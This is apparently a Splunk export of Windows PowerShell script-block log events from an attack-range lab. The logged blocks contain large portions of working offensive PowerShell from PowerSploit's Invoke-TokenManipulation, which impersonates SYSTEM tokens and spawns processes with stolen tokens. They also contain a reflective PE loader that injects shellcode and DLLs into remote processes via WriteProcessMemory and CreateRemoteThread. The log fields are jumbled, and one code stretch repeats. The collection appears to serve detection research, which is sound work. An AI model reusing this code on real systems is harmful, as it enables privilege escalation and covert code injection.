$NewHToken = [IntPtr]::Zero
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode""
}
return $Success
}
function Create-ProcessWithToken
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$hToken,
[Parameter(Position=1, Mandatory=$true)]
[String]
$ProcessName,
[Parameter(Position=2)]
[String]
$ProcessArgs,
[Parameter(Position=3)]
[Switch]
$PassThru
)
Write-Verbose ""Entering Create-ProcessWithToken""
#Duplicate the token so it can be used to create a new process
[IntPtr]$NewHToken = [IntPtr]::Zero
$Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""DuplicateTokenEx failed. ErrorCode: $ErrorCode""
}
else
{
$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""$ProcessName"")
$ProcessArgsPtr = [IntPtr]::Zero
if (-not [String]::IsNullOrEmpty($ProcessArgs))
{
$ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""`""$ProcessName`"" $ProcessArgs"")
}
$FunctionName = """"
if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
{
#Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
#this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
#which is not ideal.
Write-Verbose ""Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token.""
Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
$Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$FunctionName = ""CreateProcessAsUserW""
}
else
{
Write-Verbose ""Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token.""
$Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$FunctionName = ""CreateProcessWithTokenW""
}
if ($Success)
{
#Free the handles returned in the ProcessInfo structure
$ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION)
$CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null
$CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null
#Pass created System.Diagnostics.Process object to pipeline
if ($PassThru) {
#Retrieving created System.Diagnostics.Process object
$returnProcess = Get-Process -Id $ProcessInfo.dwProcessId
#Caching process handle so we don't lose it when the process exits
$null = $returnProcess.Handle
#Passing System.Diagnostics.Process object to pipeline
$returnProcess
}
}
else
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""$FunctionName failed. Error code: $ErrorCode""
}
#Free StartupInfo memory and ProcessInfo memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr)
$StartupInfoPtr = [Intptr]::Zero
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr)
$ProcessInfoPtr = [IntPtr]::Zero
[System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr)
$ProcessNamePtr = [IntPtr]::Zero
#Close handle for the token duplicated with DuplicateTokenEx
$Success = $CloseHandle.Invoke($NewHToken)
$NewHToken = [IntPtr]::Zero
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode""
}
}
}
function Free-AllTokens
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[PSObject[]]
$TokenInfoObjs
)
foreach ($Obj in $TokenInfoObjs)
{
$Success = $CloseHandle.Invoke($Obj.hToken)
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode""
}
$Obj.hToken = [IntPtr]::Zero
}
}
#Enumerate all tokens on the system. Returns an array of objects with the token and information about the token.
function Enum-AllTokens
{
$AllTokens = @()
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$_
}
}
}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
if ($SystemTokenInfo) { break }
}
if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
Write-Warning ""Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens""
}
if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
{
$CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
$SystemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch ""^csrss$"" -and $_.name -inotmatch ""^system$"" -and $_.id -ne 0}
#Get all tokens
foreach ($Process in $ProcessIds)
{
$PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs)
#If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it.
if ($PrimaryTokenInfo -ne $null)
{
[IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken
if ($hToken -ne [IntPtr]::Zero)
{
#Get the LUID corrosponding to the logon
$ReturnObj = Get-TokenInformation -hToken $hToken
if ($ReturnObj -ne $null)
{
$ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id
$AllTokens += $ReturnObj
}
}
else
{
Write-Warning ""Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)""
}
foreach ($Thread in $Process.Threads)
{
$ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id
[IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken)
if ($hToken -ne [IntPtr]::Zero)
{
$ReturnObj = Get-TokenInformation -hToken $hToken
if ($ReturnObj -ne $null)
{
$ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id
$AllTokens += $ReturnObj
}
}
}
}
}
return $AllTokens
}
function Invoke-RevertToSelf
{
Param(
[Parameter(Position=0)]
[Switch]
$ShowOutput
)
$Success = $RevertToSelf.Invoke()
if ($ShowOutput)
{
if ($Success)
{
Write-Output ""RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
else
{
Write-Output ""RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
}
}
#Main function
function Main
{
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator""))
{
Write-Error ""Script must be run as administrator"" -ErrorAction Stop
}",,,,,,,,,,,"'2022-05-02T18:24:36.051109600Z'","4104132150x0122416Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122416Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local89uccess)
{
$Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""Failed to ImpersonateLoggedOnUser. Error code: $Errorcode""
}
}
$Success = $CloseHandle.Invoke($NewHToken)
$NewHToken = [IntPtr]::Zero
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode""
}
return $Success
}
function Create-ProcessWithToken
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$hToken,
[Parameter(Position=1, Mandatory=$true)]
[String]
$ProcessName,
[Parameter(Position=2)]
[String]
$ProcessArgs,
[Parameter(Position=3)]
[Switch]
$PassThru
)
Write-Verbose ""Entering Create-ProcessWithToken""
#Duplicate the token so it can be used to create a new process
[IntPtr]$NewHToken = [IntPtr]::Zero
$Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken)
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""DuplicateTokenEx failed. ErrorCode: $ErrorCode""
}
else
{
$StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO)
[IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize)
$memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct
$ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION)
[IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize)
$ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""$ProcessName"")
$ProcessArgsPtr = [IntPtr]::Zero
if (-not [String]::IsNullOrEmpty($ProcessArgs))
{
$ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""`""$ProcessName`"" $ProcessArgs"")
}
$FunctionName = """"
if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0)
{
#Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because
#this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege
#which is not ideal.
Write-Verbose ""Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token.""
Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege
$Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$FunctionName = ""CreateProcessAsUserW""
}
else
{
Write-Verbose ""Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token.""
$Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr)
$FunctionName = ""CreateProcessWithTokenW""
}
if ($Success)
{
#Free the handles returned in the ProcessInfo structure
$ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION)
$CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null
$CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null
#Pass created System.Diagnostics.Process object to pipeline
if ($PassThru) {
#Retrieving created System.Diagnostics.Process object
$returnProcess = Get-Process -Id $ProcessInfo.dwProcessId
#Caching process handle so we don't lose it when the process exits
$null = $returnProcess.Handle
#Passing System.Diagnostics.Process object to pipeline
$returnProcess
}
}
else
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""$FunctionName failed. Error code: $ErrorCode""
}
#Free StartupInfo memory and ProcessInfo memory
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr)
$StartupInfoPtr = [Intptr]::Zero
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr)
$ProcessInfoPtr = [IntPtr]::Zero
[System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr)
$ProcessNamePtr = [IntPtr]::Zero
#Close handle for the token duplicated with DuplicateTokenEx
$Success = $CloseHandle.Invoke($NewHToken)
$NewHToken = [IntPtr]::Zero
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode""
}
}
}
function Free-AllTokens
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[PSObject[]]
$TokenInfoObjs
)
foreach ($Obj in $TokenInfoObjs)
{
$Success = $CloseHandle.Invoke($Obj.hToken)
if (-not $Success)
{
$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode""
}
$Obj.hToken = [IntPtr]::Zero
}
}
#Enumerate all tokens on the system. Returns an array of objects with the token and information about the token.
function Enum-AllTokens
{
$AllTokens = @()
#First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token.
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$_
}
}
}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
if ($SystemTokenInfo) { break }
}
if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
Write-Warning ""Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens""
}
if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
{
$CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
$SystemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch ""^csrss$"" -and $_.name -inotmatch ""^system$"" -and $_.id -ne 0}
#Get all tokens
foreach ($Process in $ProcessIds)
{
$PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs)
#If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it.
if ($PrimaryTokenInfo -ne $null)
{
[IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken
if ($hToken -ne [IntPtr]::Zero)
{
#Get the LUID corrosponding to the logon
$ReturnObj = Get-TokenInformation -hToken $hToken
if ($ReturnObj -ne $null)
{
$ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id
$AllTokens += $ReturnObj
}
}
else
{
Write-Warning ""Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)""
}
foreach ($Thread in $Process.Threads)
{
$ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id
[IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken)
if ($hToken -ne [IntPtr]::Zero)
{
$ReturnObj = Get-TokenInformation -hToken $hToken
if ($ReturnObj -ne $null)
{
$ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id
$AllTokens += $ReturnObj
}
}
}
}
}
return $AllTokens
}
function Invoke-RevertToSelf
{
Param(
[Parameter(Position=0)]
[Switch]
$ShowOutput
)
$Success = $RevertToSelf.Invoke()
if ($ShowOutput)
{
if ($Success)
{
Write-Output ""RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
else
{
Write-Output ""RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
}
}
#Main function
function Main
{
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator""))
{
Write-Error ""Script must be run as administrator"" -ErrorAction Stop
}
c6e2b348-4ef9-412d-ab1f-52b3ecafb72eC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-TokenManipulation.ps1","2022-05-02T18:24:36.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122416,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122416,win,269,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-4766-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"7120ible -eq $true)
{
Write-Verbose ""Update memory protection flags""
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
Write-Verbose ""PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute""
}
}
else
{
Write-Verbose ""PE being loaded in to a remote process, not adjusting memory permissions""
}
#If remote loading, copy the DLL in to remote process memory
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw ""Unable to write shellcode to remote process memory.""
}
}
#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
if ($PEInfo.FileType -ieq ""DLL"")
{
if ($RemoteLoading -eq $false)
{
Write-Verbose ""Calling dllmain so the DLL knows it has been loaded""
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw ""Unable to allocate memory in the remote process for shellcode""
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw ""Unable to write shellcode to remote process memory.""
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw ""Call to CreateRemoteThread to call GetProcAddress failed.""
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq ""EXE"")
{
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
Write-Verbose ""Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in.""
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
Write-Verbose ""EXE thread has completed.""
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Call FreeLibrary for all the imports of the DLL
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose ""Done unloading the libraries needed by the PE""
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
Write-Warning ""Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways"" -WarningAction Continue
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
Write-Warning ""Unable to free library: $ImportDllPath. Continuing anyways."" -WarningAction Continue
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
#Call DllMain with process detach
Write-Verbose ""Calling dllmain so the DLL knows it is being unloaded""
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
#If a remote process to inject in to is specified, get a handle to it
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne """"))
{
Throw ""Can't supply a ProcId and ProcName, choose one or the other""
}
elseif ($ProcName -ne $null -and $ProcName -ne """")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw ""Can't find process $ProcName""
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw ""More than one instance of $ProcName found, please specify the process ID to inject in to.""
}
else
{
$ProcId = $Processes[0].ID
}
}
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
# {
# Write-Verbose ""Getting SeDebugPrivilege""
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
# }
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
